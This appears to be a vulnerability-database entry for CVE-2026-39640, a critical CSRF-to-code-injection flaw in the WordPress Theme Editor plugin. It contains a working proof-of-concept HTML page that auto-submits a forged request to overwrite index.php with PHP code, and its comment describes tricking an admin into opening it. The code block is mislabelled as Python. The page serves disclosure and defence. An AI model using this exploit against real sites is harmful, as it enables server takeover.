CVE-2026-39640

Description

Cross-Site Request Forgery (CSRF) vulnerability in mndpsingh287 Theme Editor theme-editor allows Code Injection.This issue affects Theme Editor: from n/a through <= 3.2.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Theme Editor <= 3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-39640: Theme Editor CSRF to Code Injection
  Usage: Host this file and trick an admin into clicking the link.
-->
<html>
  <body>
    <form action="http://target-site/wp-admin/admin.php?page=theme-editor" method="POST">
      <input type="hidden" name="theme_file_content" value="<?php phpinfo(); ?>" />
      <input type="hidden" name="file" value="index.php" />
      <input type="hidden" name="action" value="update" />
      <input type="submit" value="Click me" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39640
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39640
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39640/
[4] VulDB https://vuldb.com/cve/CVE-2026-39640
[5] https://patchstack.com/database/Wordpress/Plugin/theme-editor/vulnerability/wordpress-theme-editor-plugin-3-2-cross-site-request-forgery-csrf-to-remote-code-execution-vulnerability?_s_id=cve

Raw JSON Data

JSON

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